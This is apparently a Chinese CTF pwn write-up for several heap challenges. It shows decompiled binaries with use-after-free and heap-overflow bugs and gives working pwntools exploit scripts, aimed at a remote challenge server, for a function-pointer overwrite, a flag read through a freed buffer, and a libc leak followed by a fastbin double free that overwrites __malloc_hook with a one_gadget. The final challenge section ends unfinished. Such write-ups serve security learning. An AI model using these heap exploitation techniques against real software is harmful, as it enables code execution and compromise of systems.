like_it
cpp
unsigned __int64 def()
{
const char *after_split; // [rsp+18h] [rbp-78h]
char input[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Hi! What do you like?");
read(0, input, 0x64u);
if ( strtok(input, ",") )
{
after_split = strtok(0, ".");
if ( after_split )
{
if ( strcmp(after_split, "everyone") && (unsigned int)ptrace(PTRACE_TRACEME) == -1 )
exit(2);
}
else if ( (unsigned int)ptrace(PTRACE_TRACEME) == -1 )
{
exit(2);
}
}
else if ( (unsigned int)ptrace(PTRACE_TRACEME) == -1 )
{
exit(2);
}
return __readfsqword(0x28u) ^ v3;
}
这是刚开始就调用的函数,大概意思是不让进行调试,且输入字符串分割之后得等于everyone
add函数:

delete函数发现明显漏洞,show函数有一个可能能实现调用堆快内函数的漏洞。代码附在下面:
cpp
unsigned __int64 del_note()
{
int index_1; // [rsp+Ch] [rbp-14h]
char index[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, index, 4u);
index_1 = atoi(index);
if ( index_1 < 0 || index_1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + index_1) )
{
free(*(*(¬elist + index_1) + 1));
free(*(¬elist + index_1));
puts("Success");
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 print_note()
{
int count; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
count = atoi(buf);
if ( count < 0 || count >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + count) )
(**(¬elist + count))(*(¬elist + count));
return __readfsqword(0x28u) ^ v3;
}
其实我们的思路很简单,就是想办法输入恶意数据塞进程序刚开始自动申请的一个chunk0处
这就用到了UAF,程序显式给了UAF,就看怎么用。没有能直接利用的指针悬挂,那就想办法看看能不能直接申请一个chunk覆盖一下对应地址的内容,因为show函数的参数也是我们输入,输入之后对应地方的指针还在,我们想办法修改对应指针位置的内容,这个题目只能用add改,那就联想到了bin的管理机制,关键点在free之前的指针和重新add的指针指向的位置一样。
由于fastbin特性,申请chunk的时候会先从fastbin找,我们申请一个大小合适的chunk,假如能刚好申请到刚开始的那一个被赋值为函数地址的chunk,不就可篡改它的数据了吗。
注意这里有空指针校验(见上面的add函数注释)所以用俩add绕过之。
exp:
python
from pwn import *
p =remote("1.95.36.136",2117)
context(arch="amd64",log_level="debug",os="linux")
system=0x0400CB1
def add(index,size,content):
p.recvuntil(b"Your choice :")
p.sendline(b"1")
p.sendafter(b"Note size :",str(size).encode())
p.sendafter(b"Content :",content)
print(index)
def delete(index):
p.recvuntil(b"Your choice :")
p.sendline(b"2")
p.sendafter(b"Index :",str(index).encode())
def show(index):
p.recvuntil(b"Your choice :")
p.sendline(b"3")
p.sendafter(b"Index :",str(index).encode())
p.send(b"hello,everyone.")
add(0,0x10,b"aaaa")
add(1,0x30,b"aaaa")
add(2,0x30,b"aaaa")
delete(0)
delete(1)
add(0,0x10,p64(system))
show(0)
p.interactive()
这道题收获:对于bin的管理机制,之前都是纸上谈兵,运用之后才明白其中道理。
ezuaf
先找UAF,不然没法操作,虽然程序有readfile函数却不可打印出flag
经过查找主要是下面这个函数:
cpp
__int64 __fastcall read_file(char *p_fileInfo)
{
unsigned int st_size; // [rsp+1Ch] [rbp-B4h]
FILE *stream; // [rsp+20h] [rbp-B0h]
struct stat stat_buf_; // [rsp+30h] [rbp-A0h] BYREF
unsigned __int64 v5; // [rsp+C8h] [rbp-8h]
v5 = __readfsqword(0x28u);
stream = fopen(p_fileInfo, "rb");
if ( stream )
{
stat(p_fileInfo, &stat_buf_);
st_size = stat_buf_.st_size;
buffer = malloc(SLODWORD(stat_buf_.st_size));
if ( buffer )
{
if ( st_size == fread(buffer, 1uLL, (int)st_size, stream) )
{
fclose(stream);
free(buffer);
return st_size;
}
else
{
perror("读取文件失败");
free(buffer);
fclose(stream);
return 1LL;
}
}
else
{
perror("内存分配失败");
fclose(stream);
return 1LL;
}
}
else
{
perror("无法打开文件");
return 1LL;
}
}
大概意思是有一个buffer,存储读取的内容,然后会进行一波free操作,却没有给buffer置空
找到了UAF,看看怎么用
我们知道buffer里面是flag内容,那么直接prinef打印可以吗?试一下。想让printf的参数地址是buffer,我们为啥不能利用上一题的思路,利用bin的管理机制?
这道题需要改libc版本调试看chunk大小,这里推荐看https://zach0ry-zzh.github.io/大佬博客修改
总之,动调结果如下:

那我们申请一个0x230的堆快,就又申请回来了,而且这里有一个free' chunk,不用担心合并问题
exp:
python
from pwn import *
p =remote("1.95.36.136",2096,timeout=10)
context.log_level="debug"
buffer=0x6020F0
p.recvuntil(b"[+] 3.Print")
p.sendline(b"1")
p.recvuntil(b"[+] Input FileName : ",timeout=5)
p.sendline(b"/flag")
p.recvuntil(b"\n", timeout=5)
p.sendline(b"2")
p.recvuntil(b"[+] Input Size : ",timeout=5)
p.sendline(b"32")
p.sendline(b"2")
p.recvuntil(b"[+] Input Size : ",timeout=5)
p.sendline(b"560")
p.sendline(b"3")
p.interactive()
来堆签个到
先说一下,需要用patchelf工具更改一下libc.so.6,而且改为libc-2.23版本!
看一下保护,基本上什么也没开

程序是经典菜单题且具有uaf
题目给了libc.so文件,看来我们可考虑泄露一下地址,然后用Onegadget打
首先我们泄露地址需要借助unsort bin,然后show即可
和栈泄露一样的思路,fd指的位置是mainarea某个地方,减去vmmap的so基址就是一个固定偏移,我们获得这个偏移就可泄露基址
这是泄露:

然后我们需要劫持malloc hook,这里面写上ONE_Gadget的值即可

这里我们需要利用UAF,伪造一下fast bin的fd指针,让他指向malloc hook,才能在malloc hook写入恶意代码
这里修改fd就需要伪造chunk.调试发现这里刚好有 fd必须指向同一个bins,这里bins是0x70,所以符合要求
这里0x23是反复动调得来的!

这里说一下填充字节的规则,如图所示,想要刚好覆盖malloc_hook就得先塞红框部分的字节数字

现在就可以美美写入one_gadget。
终于成功,心塞心累!
python
from pwn import *
p = remote("1.95.36.136",2144)
# p=process("./pwn")
libc=ELF("libc.so.6")
context.log_level="debug"
context.arch = "amd64"
def add(index,size):
p.recvuntil(b"choice:")
p.sendline(b"1")
p.recvuntil(b"index:")
p.sendline(str(index).encode())
p.recvuntil(b"size:")
p.sendline(str(size).encode())
def free(index):
p.recvuntil(b"choice:")
p.sendline(b"2")
p.recvuntil(b"index:")
p.sendline(str(index).encode())
def edit(index,len,content):
p.recvuntil(b"choice:")
p.sendline(b"3")
p.recvuntil(b"index:")
p.sendline(str(index).encode())
p.recvuntil(b"length:")
p.sendline(str(len).encode())
p.recvuntil(b"content:")
p.send(content)
def show(index):
p.recvuntil(b"choice:")
p.sendline(b"4")
p.recvuntil(b"index:")
p.sendline(str(index).encode())
add(0,0x230)
add(1,0x20)
free(0)
show(0)
p.recvline()
libc_leak=u64(p.recv(6).ljust(8,b"\x00"))
libc_base=libc_leak - 0x3c4b78
info("libc base:"+hex(libc_base))
add(2,0x68)
add(3,0x68)
free(2)
free(3)
free(2)
malloc_hook=libc.sym["__malloc_hook"] + libc_base
target = malloc_hook - 0x23
add(0,0x68)
edit(0,8,p64(target))
add(0,0x68)
add(0,0x68)
add(0,0x68)
gadget=[0x4527a,0xf03a4,0xf1247]
payload = b"\x00"*0x13 + p64(libc_base + gadget[1])
edit(0, len(payload), payload)
add(5, 123)
p.interactive()
easy_exit(未完成)
cpp
int __fastcall main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+14h] [rbp-1Ch] BYREF
int size; // [rsp+18h] [rbp-18h] BYREF
int chunk_num; // [rsp+1Ch] [rbp-14h]
void *chunk; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
alarm(0);
puts("1.malloc");
puts("2.edit");
puts("3.dump");
puts("4.just malloc");
puts("5.exit");
choice = 0;
size = 0;
chunk_num = 0;
while ( 1 )
{
puts("choice: ");
_isoc99_scanf("%d", &choice);
getchar();
switch ( choice )
{
case 1: // add
if ( chunk_num == 2 )
{
puts("you don't need it anymore");
}
else
{
puts("size:");
_isoc99_scanf("%d", &size);
getchar();
if ( size > 4096 )
size = 4096;
chunk = malloc(size);
++chunk_num;
}
break;
case 2: // edit
puts("input");
read(0, chunk, 0x1000uLL);
break;
case 3: // dump
puts("output");
puts((const char *)chunk);
break;
case 4:
malloc(0x1000uLL);
break;
case 5:
puts("exit");
exit(0);
default:
puts("gift");
puts((const char *)chunk);
break;
}
}
}
看到竟然没有free函数,但是明显存在堆溢出。然后题目也给了libc.so文件